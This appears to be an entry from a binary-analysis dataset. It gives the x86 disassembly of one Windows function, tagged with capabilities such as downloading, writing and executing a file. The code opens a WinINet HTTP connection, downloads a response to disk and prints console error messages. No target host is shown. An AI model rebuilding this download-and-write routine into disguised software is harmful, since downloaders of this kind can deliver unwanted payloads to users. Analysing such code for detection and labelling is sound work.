Function at 0x401b70
Capabilities:
Connect to http server
Create http request
Download and write a file
Execute command
Manipulate console buffer
Read data from internet
Receive and write data from server to client
Receive data
Reference http user-agent string
Send data
Send http request
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40929f
mov eax, dword fs:[0]
push eax
sub esp, 0x2f8
mov eax, dword [0x40d018]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor ebx, ebx
mov dword [ebp - 4], ebx
mov edi, 0xf
mov dword [ebp - 0x240], edi
mov dword [ebp - 0x244], ebx
mov byte [ebp - 0x254], bl
mov dword [ebp - 0x224], edi
mov dword [ebp - 0x228], ebx
mov byte [ebp - 0x238], bl
mov dword [ebp - 0x25c], edi
mov dword [ebp - 0x260], ebx
mov byte [ebp - 0x270], bl
lea eax, [ebp - 0x254]
push eax
lea edx, [ebp - 0x270]
lea ecx, [ebp - 0x238]
mov byte [ebp - 4], 3
call fcn.004018f0
add esp, 4
lea ecx, [ebp - 0x298]
push ecx
lea edx, [ebp - 0x21c]
push edx
push ebx
mov dword [ebp - 0x298], 0x200
call dword [sym.imp.urlmon.dll_ObtainUserAgentString]
push 0x40a404
lea eax, [ebp - 0x1c]
push 5
push eax
call dword [sym.imp.MSVCR100.dll_strcpy_s]
add esp, 0xc
push ebx
push ebx
push ebx
push ebx
lea ecx, [ebp - 0x21c]
push ecx
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0x294], eax
cmp eax, ebx
jne 0x401db1
xor edx, edx
push 0xfffffffffffffff5
mov dword [ebp - 0x28c], edx
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
lea ecx, [ebp - 0x288]
mov esi, eax
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleScreenBufferInfo]
movsx edi, word [ebp - 0x286]
movsx edx, word [ebp - 0x288]
mov ebx, dword [ebp - 0x28c]
imul edi, edx
lea eax, [ebp - 0x290]
push eax
push ebx
push edi
push 0x20
push esi
call dword [sym.imp.KERNEL32.dll_FillConsoleOutputCharacterA]
mov edx, dword [ebp - 0x280]
lea ecx, [ebp - 0x290]
push ecx
push ebx
push edi
push edx
push esi
call dword [sym.imp.KERNEL32.dll_FillConsoleOutputAttribute]
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleCursorPosition]
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push 0xc
push eax
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::endl_class_std::basic_ostream_char__struct_std::char_traits_char____]
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::endl_class_std::basic_ostream_char__struct_std::char_traits_char____]
mov edx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push ecx
push ecx
push str.Internet_Eror
push edx
call fcn.00406f40
add esp, 0xc
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push str.pause
call dword [sym.imp.MSVCR100.dll_system]
mov esi, 0x10
add esp, 4
cmp dword [ebp - 0x25c], esi
jb 0x401d29
mov eax, dword [ebp - 0x270]
push eax
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
xor ebx, ebx
mov edi, 0xf
mov dword [ebp - 0x25c], edi
mov dword [ebp - 0x260], ebx
mov byte [ebp - 0x270], bl
cmp dword [ebp - 0x224], esi
jb 0x401d5a
mov ecx, dword [ebp - 0x238]
push ecx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov dword [ebp - 0x224], edi
mov dword [ebp - 0x228], ebx
mov byte [ebp - 0x238], bl
cmp dword [ebp - 0x240], esi
jb 0x401d84
mov edx, dword [ebp - 0x254]
push edx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov byte [ebp - 0x254], bl
mov dword [ebp - 0x244], ebx
mov dword [ebp - 0x240], edi
cmp dword [ebp + 0x1c], esi
jb 0x402292
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
jmp 0x402292
mov ecx, dword [ebp - 0x254]
mov esi, 0x10
cmp dword [ebp - 0x240], esi
jae 0x401dca
lea ecx, [ebp - 0x254]
push ebx
push ebx
push 3
push ebx
push ebx
push 0x50
push ecx
push eax
call dword [sym.imp.WININET.dll_InternetConnectA]
mov dword [ebp - 0x290], eax
cmp eax, ebx
jne 0x401ede
call fcn.00401260
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push 0xc
push eax
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::endl_class_std::basic_ostream_char__struct_std::char_traits_char____]
push ecx
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::endl_class_std::basic_ostream_char__struct_std::char_traits_char____]
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push edx
push ecx
push str.Konek_Eror
push eax
call fcn.00406f40
add esp, 0xc
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push str.pause
call dword [sym.imp.MSVCR100.dll_system]
add esp, 4
cmp dword [ebp - 0x25c], esi
jb 0x401e5a
mov ecx, dword [ebp - 0x270]
push ecx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov dword [ebp - 0x25c], edi
mov dword [ebp - 0x260], ebx
mov byte [ebp - 0x270], 0
cmp dword [ebp - 0x224], esi
jb 0x401e85
mov edx, dword [ebp - 0x238]
push edx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov dword [ebp - 0x224], edi
mov dword [ebp - 0x228], ebx
mov byte [ebp - 0x238], 0
cmp dword [ebp - 0x240], esi
jb 0x401eb0
mov eax, dword [ebp - 0x254]
push eax
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov dword [ebp - 0x240], edi
mov dword [ebp - 0x244], ebx
mov byte [ebp - 0x254], 0
cmp dword [ebp + 0x1c], esi
jb 0x402292
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
jmp 0x402292
mov ecx, dword [ebp - 0x238]
cmp dword [ebp - 0x224], esi
jae 0x401ef2
lea ecx, [ebp - 0x238]
push ebx
push 0x8404f700
push ebx
push ebx
push str.HTTP_1.1
push ecx
lea edx, [ebp - 0x1c]
push edx
push eax
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov edi, eax
cmp edi, ebx
jne 0x401fee
call fcn.00401260
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push 0xc
push eax
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::endl_class_std::basic_ostream_char__struct_std::char_traits_char____]
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::endl_class_std::basic_ostream_char__struct_std::char_traits_char____]
mov edx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push ecx
push ecx
push str.Request_Eror
push edx
call fcn.00406f40
add esp, 0xc
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push str.pause
call dword [sym.imp.MSVCR100.dll_system]
add esp, 4
cmp dword [ebp - 0x25c], esi
jb 0x401f87
mov eax, dword [ebp - 0x270]
push eax
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov edi, 0xf
mov dword [ebp - 0x25c], edi
mov dword [ebp - 0x260], ebx
mov byte [ebp - 0x270], 0
cmp dword [ebp - 0x224], esi
jb 0x401fb7
mov ecx, dword [ebp - 0x238]
push ecx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov dword [ebp - 0x224], edi
mov dword [ebp - 0x228], ebx
mov byte [ebp - 0x238], 0
cmp dword [ebp - 0x240], esi
jb 0x401fe2
mov edx, dword [ebp - 0x254]
push edx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov byte [ebp - 0x254], 0
jmp 0x401d8a
push ebx
push ebx
push ebx
push ebx
push edi
call dword [sym.imp.WININET.dll_HttpSendRequestA]
mov eax, dword [ebp + 8]
cmp dword [ebp + 0x1c], esi
jae 0x402004
lea eax, [ebp + 8]
push 0x40a440
push eax
call dword [sym.imp.MSVCR100.dll_fopen]
mov esi, eax
add esp, 8
cmp esi, ebx
jne 0x40205a
call fcn.00401260
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push 0xc
push eax
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::endl_class_std::basic_ostream_char__struct_std::char_traits_char____]
push ecx
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::endl_class_std::basic_ostream_char__struct_std::char_traits_char____]
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push edx
push ecx
push str.open_File_Eror
push eax
jmp 0x40224b
mov ebx, dword [sym.imp.WININET.dll_InternetReadFile]
lea ecx, [ebp - 0x28c]
push ecx
push 0x32
lea edx, [ebp - 0x304]
push edx
push edi
call ebx
test eax, eax
je 0x4020b0
mov eax, dword [ebp - 0x28c]
push esi
test eax, eax
je 0x402116
push eax
lea eax, [ebp - 0x304]
push 1
push eax
call dword [sym.imp.MSVCR100.dll_fwrite]
add esp, 0x10
lea ecx, [ebp - 0x28c]
push ecx
push 0x32
lea edx, [ebp - 0x304]
push edx
push edi
call ebx
test eax, eax
jne 0x402077
call fcn.00401260
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push 0xc
push eax
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::endl_class_std::basic_ostream_char__struct_std::char_traits_char____]
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::endl_class_std::basic_ostream_char__struct_std::char_traits_char____]
mov edx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push ecx
push ecx
push str.read_eror
push edx
call fcn.00406f40
add esp, 0xc
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push str.pause
call dword [sym.imp.MSVCR100.dll_system]
add esp, 4
push esi
call dword [sym.imp.MSVCR100.dll_fclose]
jmp 0x402266
call dword [sym.imp.MSVCR100.dll_fflush]
add esp, 4
push esi
call dword [sym.imp.MSVCR100.dll_fclose]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
add esp, 4
push edi
call esi
mov eax, dword [ebp - 0x290]
push eax
call esi
mov ecx, dword [ebp - 0x294]
push ecx
call esi
lea edx, [ebp + 8]
push edx
call fcn.004010e0
add esp, 4
cmp al, 1
jne 0x4021ff
sub esp, 0x1c
lea eax, [ebp + 8]
mov esi, esp
mov dword [ebp - 0x294], esp
call fcn.00404ba0
call fcn.00401370
add esp, 0x1c
cmp eax, 0x2328
jle 0x4021bb
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push 0xb
push eax
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea esi, [ebp - 0x270]
call fcn.00404bd0
lea esi, [ebp - 0x238]
call fcn.00404bd0
lea esi, [ebp - 0x254]
call fcn.00404bd0
lea esi, [ebp + 8]
call fcn.00404bd0
mov al, 1
jmp 0x402294
call fcn.00401260
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push 0xc
push eax
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::endl_class_std::basic_ostream_char__struct_std::char_traits_char____]
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, str.kp__xlpR
sub ecx, 0x14315210
lea eax, [ebp - 0x27c]
call fcn.00407190
mov byte [ebp - 4], 4
jmp 0x40223b
call fcn.00401260
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push 0xc
push eax
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::endl_class_std::basic_ostream_char__struct_std::char_traits_char____]
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edi, 0x4d9a7ff8
lea esi, [ebp - 0x284]
call fcn.00407210
mov byte [ebp - 4], 5
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::endl_class_std::basic_ostream_char__struct_std::char_traits_char____]
mov edx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push ecx
push ecx
push eax
push edx
call fcn.00406f40
add esp, 0xc
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push str.pause
call dword [sym.imp.MSVCR100.dll_system]
add esp, 4
lea esi, [ebp - 0x270]
call fcn.00404bd0
lea esi, [ebp - 0x238]
call fcn.00404bd0
lea esi, [ebp - 0x254]
call fcn.00404bd0
lea esi, [ebp + 8]
call fcn.00404bd0
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00408380
mov esp, ebp
pop ebp
ret